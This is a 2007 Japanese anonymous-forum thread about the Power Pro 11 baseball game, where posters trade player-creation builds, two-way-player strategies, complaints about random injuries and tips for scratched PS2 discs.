>>872 投手なら変化球の組み合わせ、球速等で無限にある。
野手ならAEAEAとか個性的な能力にしたり。
身体能力重視でGAAAGGとか
若手の代走要因とか三色の守備要因とか
875 :
名無しさん@お腹いっぱい。:2007/10/05(金) 00:53:39 ID:S5ZdZYsB
パワーと弾道のみをひたすら上げる
>>872 最弱選手に特能たんまりとか
さっき、交通事故にあって能力が101114になったので狙ってみた
プロ入りできなかったけど・・・・
12決に浮気してたけど、ディスクを読み込まなくなったので戻ってきた
>>873-876 おまいらサンクス!
最弱特能たんまりとか身体能力バカとか、
結構やったことないのあったよ。
オーペナでどんな成績残すのか楽しみだわw
これからも11にはお世話になります
878 :
名無しさん@お腹いっぱい。:2007/10/05(金) 03:50:42 ID:ZMBm+Dac
二刀流も楽しいぜ。
うむ。このスレは二刀流作りの名人が多いな。
パワー255の弾道1。
あと広角打法持ちで。
二刀流に挑戦してみたいんだけど、どんな感じで育成するといいの?
やっぱ最初に投手能力を上げてから野手能力を上げるって感じなのかな。
882 :
名無しさん@お腹いっぱい。:2007/10/05(金) 18:25:19 ID:ZMBm+Dac
変化球が4と1あればなんとか抑えられる。
そこまで上げたら野手能力あげよう
敏捷も足りないが、パワ大強豪ならあばた練習で補えるかな。
883 :
名無しさん@お腹いっぱい。:2007/10/05(金) 18:30:04 ID:+Coa+dYY
今から二刀流作るぜ
>>882 なるほど。
確かに変化球4・1あればなんとか抑えれるな。
ちょっくら頑張ってみるよ。ありがとう
遊園地デートのマッハコースターも敏捷入るな。
打球反応付くし、割とお勧め。
いつもイレブンでお世話になってる(エラー的な意味で)紙山を自作する事にした。
そんな時に限って博士が成功・全国優勝→初のエラー含めオールA
(3 7 148 15 14 14 14 AH ケガ4 初球 逆境 チャンス4 LBH)
6割以上の確率で西京・栄光に負ける俺はもうこんなの作れねえよ…
ちゃんとした名前にするんだった。・゚・(ノД`)・゚・。
なんか攻略サイト見ると総変化量13からの継承キャラならタッグ組めるって書いてあるけど、
13って相当キツくない?
オールAにつまらなさを感じてきた。
オールAなんて無個性だし、3人作れば十分
肩理論を帝京・超決でやってるがオールAができないので、まだまだ楽しい
あとミート1なのに
途中でエリリンとぶつかったときは他の能力が1つ足りなかった
しかも、エリリンと付き合えたのは偶然の結果だしな
二刀流とか145DB総変6ECECDが限界だよ
過去にこのスレで出されてる選手はみんな強すぎ…
>>881だけど二刀流やってみた。
141C135C100スラ2ドロップ4シュート1 ジャイロ、ノビ、ピンチ4、安定感、回復
2BEDCBE 野手特能なし
ってのができた。
パワーとかどうやってあがらなすぎwパワーとかどうやってあげんだ?
パワーとかどうやってあがらなすぎ→パワーあがらなすぎ
誤爆スマソ
二刀流の最大のネックはパワーだよな。
Aはいわずもがな、Cですら結構きつい。
すべてオールCが目標だけどうまくいかないもんだ。
最初からパワーが高い選手で作ると少しは楽になるかもしれない
最大値は20ぐらいだっけ?
898 :
名無しさん@お腹いっぱい。:2007/10/06(土) 11:44:11 ID:IZV97IWH
内野安打しまくる選手を作りたいんだが、
弾道は1として、ミートとパワーどれくらいがいいかな?
パワーの調整に悩む
>>898 ミートは4か5、パワーは60ぐらいじゃね?
でも内野安打はかなり出にくいんだよな
難しいよね内野安打。 だからこそ作ろうかなとw
上手く行くと良いな
10はバントで内野安打にできたのに(つД`)
ペナントやってて赤星なんかでよくセーフティバントするけど結構実際の成功率に近い気がする
普通に打って内野安打はほとんど無いね
現実の試合なら両チーム合わせて一試合平均1本くらいは出るもんだよな。
パワプロは守備が速すぎるのか打者走者の足が遅すぎるのか・・・
内野が狭いんじゃないか?
一二塁間、三遊間を転々と抜けるヒットもほとんど出ないし
>>904 守備が速すぎる
ファーストゴロをピッチャーがカバーすることなんてまずないし
なんか距離感がちょっと変なんだよな。
ピッチャーの周囲はやたら取るくせに、一塁カヴァーは死ぬほど遅いとかw
1人目作成、なかなか好い感じ、パワーはもっと弱めても・・? と、3年目・・・恐れていた足爆弾爆発Σ( ゚Д゚)
2人目・・・ センス×キタ━━━━━━(゚∀゚)━━━━━━ !! て、初期から弾道2になってどうする・・・
勿体ないので、2塁を守るホームランバッター作成
ミートC パワーA 弾道4 BDBC PH・広角・満塁 ローボール 体当たり&三振(個性付け)
これなんてゴンザレス・・・ 俺は脇谷っつーか藤村が・・作りたいのに (´・ω・`)
909 :
名無しさん@お腹いっぱい。:2007/10/06(土) 18:15:35 ID:JBDBbZN+
>>894前にもここで書いたが俺の二刀流で一番強いのは
投手能力:140コンCスタB スラ1 カーブ1 フォーク2 得能忘れた
野手能力:弾道3ミCパA走D肩C守CエE得能忘れた
真帝王で変化球は最初に一球種1だけ覚えさせてあとはスタミナ、急速中心に制球やって作った。
全国に2回くらい行けなかったから全国優勝してればこれ以上は余裕でいくかと。
910 :
名無しさん@お腹いっぱい。:2007/10/06(土) 18:22:03 ID:9xOjIekd
強いな。
サブポジはついてる?
二刀流は8人作ったが(
>>169)、慣れちゃえば意外と簡単。
球速分の筋力をパワーに、技術をミート、守備に回せばいいだけ。
まず球速を140kmまで上げて、総変は5くらいまで上げる。
そうすれば試合である程度活躍できてポイントも入る。
敏捷は遊園地、学園祭でキープ、足りなければ守備練習も。
つか11だと足速い投手作るの不可能だよね
913 :
名無しさん@お腹いっぱい。:2007/10/06(土) 19:31:29 ID:JBDBbZN+
>>910ついてないぜ。
走力Fが嫌だったから敏捷を走力に回した
914 :
名無しさん@お腹いっぱい。:2007/10/06(土) 20:54:32 ID:9xOjIekd
やっぱサブポジつけるとそれだけの野手能力にするのは無理か
915 :
名無しさん@お腹いっぱい。:2007/10/06(土) 21:04:39 ID:JBDBbZN+
無理じゃないと思う。
俺の場合は体育祭はひたすら休んだし遊園地なんてなかったからこれが限界だった
916 :
名無しさん@お腹いっぱい。:2007/10/06(土) 22:41:13 ID:eqK9xHKQ
サクセスのトップ画面の右上、みずきなのか・・・?
9と全然違うんだが
いま手元に無いので確認できないが、あおいじゃね?
確かにあの画面のあおいは何か変だが…。
センス○スタートで禿げサインあり成功して今新帝王になったばかりで143DBスライダドロップ4尻上がり
やばい過去最高の予感
爆弾爆発に20怨念ポイント
終盤のハゲの誘惑に負けてリセットにかける
今ジャイロゲットした
完成
160CAスライダ4ドロップ4シュート2ピンチ
左打者
打たれ強さケガしにくさノビキレジャイロ尻上がり思い球
終盤でカナとぶつかって交際して球速アップ
しかし全国優勝は一度もしていないという…
923 :
名無しさん@お腹いっぱい。:2007/10/07(日) 07:47:07 ID:BvXS+FEG
おー強いねー
俺の場合160キロスタミナA超えると創変6以下になってしまう
>>922 俺の作ったエースとまったく同じ能力www
でも帝王で作るんは凄い。
この組み合わせの変化球ってポイント使わない割に強い気がする。
運にめぐまれた感じなんだよね
最後の大会前に犬川にキレもらったり禿げ成功したりと
イレブンより帝王のが俺は強いのが作れるって変かな?帝王は安定してるってのもあるが
ARODを作ろうと思ってたらいきなり天才がキター
しかもカレンで強振多用覚えたりペッパーで守備職人取れたりでいい感じだったのに紅白戦で浮き足立って負けた・・。
今考えてみると天才出た時点で初めにセーブしておけばよかった。
リセットによる能力低下を考慮しても、ただのセンス○よりはワンランク上の初期能力でいつでも始められるんだもんな。
>>926 しかし黄金プレートでセンス○並の能力なのは・・・ってなる
>>927 まあね。しかし、呪縛から開放されて結構いいところまで言ったりするかも。
最後の全国大会を控えて、自分の中で最高の投手が今まさに完成しようとしてた。
155kmBA総変10ジャイロノビキレピンチ4左4打球反応奪三振回復尻上り満塁本塁打男体当たり
残すは栄光戦のみ・・・(ちなみに超決)
1回いきなりノーアウト三塁>なんとか0点に押さえる
2回またノーアウト三塁>ぽてんヒットで1点取られる
5回またノーアウト三塁>1点ry
6回ノーアウト2塁から>すっぽ抜けど真ん中>ホームラン>すっぽ抜けど真ん中>ホームラン
試合後、キレ2軽い球取得。
意地でもいい選手を作らせないっていうCPUの気迫を感じた。
何か、何かムカつく・・・
だからキャプテンになれとあれほど言ったのに
>>930 そーなんだよね。
やたら友情タッグが発生したりイベントで能力取得したりするもんでウハウハになってそのことを忘れてた。
そう考えると自分にも落ち度があるんだよなぁ・・・
>>929 >意地でもいい選手を作らせないっていうCPUの気迫を感じた。
これは分かるわ・・。事故、爆弾、試合の展開を本当に見事に操ってる感がな。
そんな俺は昨日から超決やり始めた。
1回目・・・あまり良い選手じゃなかったからいいけど、終盤で事故
2回目・・・足爆弾→終盤で爆発
もうやる気無くなってきた・・w
スピリッツやるとこっちのキャラ作りがマジでクソに感じるよなあ
センス○で2ヶ月目で爆弾抱えて速攻爆発したりとか机バコバコたたきたくなる
934 :
名無しさん@お腹いっぱい。:2007/10/08(月) 02:50:46 ID:OJe2EBXf
だがそれがいいんだろ?
935 :
名無しさん@お腹いっぱい。:2007/10/08(月) 04:03:47 ID:eCMWrg2G
ドMにはたまらんだろうなw
オレはストレス溜まりまくりでコントローラー投げたくなるけどなw
てか開幕でサクセスやるときだけ、読み込みがうまくいかないのか、
ギシギシ言い出してしまいには試合後のロードで止まるんだが・・・
他のディスクとかサクセス以外では快調に動くから、
なにが悪いのかよくわかんないんだよねorz
と思ったら試合観戦してたらギシギシ言い出した
本格的にオワタ\(^o^)/
>>932 逆にどうでもいい選手を作ろうとすると何故か上手くいくんだよな
俺9と12中古で買ったときディスク傷つきまくりで起動さえしなかったな
道理で900円な訳ですよ。
しかも買ってから1週間くらいやらない派だから返品できねえし
俺の9も中古で買った時に傷つきまくりで起動しなかったが
ディスクに歯磨き粉つけて眼鏡拭きで拭き拭きしたら起動したぜ
今帝王の選手で弾道3 パワー255 で能力がAHとPHもってるんだけど、弾道4にあげた方がいいかな?
941 :
名無しさん@お腹いっぱい。:2007/10/08(月) 15:06:30 ID:vUUWn+pe
PHは強振時に勝手に弾道4
AHはミート時に勝手に弾道2くらいになるはずなのであげなくていいと思うぞ
943 :
名無しさん@お腹いっぱい。:2007/10/08(月) 16:36:34 ID:b5E4EAWa
944 :
名無しさん@お腹いっぱい。:2007/10/08(月) 16:56:59 ID:0VEMHqCi
941
PH、AHがあれば弾道を上げる必要はないのね。
945 :
名無しさん@お腹いっぱい。:2007/10/08(月) 17:08:15 ID:al5Xwpwk
つーかAヒッターとかPヒッターとかっいう概念イラン
性的な意味で
さて次スレの季節到来
>>980あたりがやってくれるといいと思うんだがどうだろうか
でもPH弾道1だとミート打ちのときが…
まあ強振しか使わないなら問題ないけど
初期能力
131kmコンD130スタE43
開幕ホストでセンス×除去、パワスポでジャイロ
でもさっきからひじがズキズキいってるw
この爆弾相当元気なようだ
いきなりでごめんなさい。みなさんが今までで一番打ちにくかったオリ変ってどんなですか?自分はHスライダーのキレ&ノビあげまくってほぼストレートと同じ速度で変化するやつだったんですが、みなさんはどうですか?
164キロジャイロリリース投手のノビ・変化をやりまくってキレも何度かやったSFF7。
連打したらストレートとSFFが164キロ同じスピードでくるおかげでまるっきり運ゲー
決定GCだが
ハ,,ハ
('(゚∀゚∩_ おいらをどこかのスレに送って!
/ヽ 〈/\ お別れの時にはお土産を持たせてね!
/| ̄ ̄ ̄|.\/
| |/
 ̄ ̄ ̄
現在の所持品:クロノトリガーサウンドトラック 練り消し りんご みかん 空き瓶 楽譜 きゅうり 寝袋 竹 メガネケース
通信ケーブル 朝顔 こあらのまーち クレヨンしんちゃん9巻 飴 服 らっぱ 馬 饅頭 Gショック ストロー てれか 一升瓶
トローチ ドロップ 綿飴 寒露飴 あめんぼ エレキギター カツライス アヌビス神 スコッティ 独逸 鉛筆削り、DOD 時津風
マタドガス マタドガス マタドガス マタドガス マタドガス マタドガス バズライトイヤー バスドライヤー バラモスゾンビ
イオンキャノン イオンキャノン イオンキャノン イオンキャノン イオンキャノン イオンキャノン イオンキャノン
ブラウザゲー ブラゲスレ行きチケット(片道) 腐ったバルサミコ酢 ちんちくりんステッキ 想い出 女神画像
ヘラエロス最終形態 もひゃあ ドジっ子
↑シベリアに送り付けてやった
そういやアクションリプレイ使ってMAXナックルとかしてる奴いたな
あれは打てんw
パワプロは64でしかやった事なくて64の中では6が一番好き。
んで今度11買おうと思うんだけど、
開幕版と決定版、どっちがオススメ?
開幕版オヌヌメ
64だとなんか棒人間に線の目書いたキャラの野球が面白かったな
時速200km投げる奴は居るわホームランで200mは飛ぶわで色々面白かった
963 :
名無しさん@お腹いっぱい。:2007/10/09(火) 09:48:07 ID:+Wdz2YDa
なんでみんな強い選手作れるんだ?
俺が作ったやつで一番強いのなんて
151` コンスタBA スラ4Vスラ3シン3
キレ ノビ 体力回復 安定 この程度だよ…
>>963 なんでそんなに強い選手が作れるんだ?orz
ガチムチシモーヌと友情タッグはじつにいいな
やつの得能イベントで俺の穴もすっかりご機嫌だぜ
>>965を訳すると
下井との友情(笑)タッグはじつにいいな
奴の得能イベントで尻上がりゲットできたぜ
自分は毎回スロースターターを取得してしまうwww
対戦モードをやってたらディスクがカリカリいってウグイスが鳴らない事があった
サクセス中にフリーズしてしまわないか心配…
試合中音が途切れてきたら終盤でドラフト寸前で固まるようになります
センス○ 130kmコン110スタ45の選手が出て
いきなりホストのバイトも出てこれはキタと思ったら
友沢「お前センスないな」&練習中怪我確率3%で「ブチン!」となってオワタ
971 :
名無しさん@お腹いっぱい。:2007/10/09(火) 20:19:11 ID:wnh75Gwg
ツーシームって無いほうがいいよね?パワスポで毎回とってしまう…
ムービングだろ
>>971 ムービングはジャイロの代償だと思ったほうがいいね。
ムービングがアレなのはなんで?
四隅突くとボールになっちゃうから?
975 :
名無しさん@お腹いっぱい。:2007/10/09(火) 21:45:25 ID:gXjvaxsP
どんなに弱いCOMにも痛打されまくるから、
ムービングを投げれなくなる。
CPU相手に使ってみればわかる
もちろんサクセスでな
>>974 COMの打撃がどんでもないことになるから
強振ならどこ投げても引っ張りHR、ミートならどこ投げてもヒット
たまに打ち取れるが、強烈なライナーや真正面ばかり
ここでディスクが読み込みおかしくなるって書き込み見かけるけど
旧型のプレステ2使ってるんじゃないのか?
俺もそうだったんけど思い切って新型にしたら読み込みのスムーズなこと。
みんな!薄型買おうぜ!快適なゲーム環境で明日も四打数二安打一打点盗塁一だ!
薄型は熱持ちすぎでオーバーヒートしそうなのがこわい
安価ミスったww
清本にど真ん中スローボール3連投してくる
やっぱ次スレ立ててくるぜ
伝説最強作成のためにノムを作ろうと思ったが
CA(191)FDB PH三振etc
出来る気がしない
いろんな意味で
>>985 ノムってこのくらいだろ
BA198G3C11A15B13
PH 捕手◎ 走塁2 ブロック ささやき 三振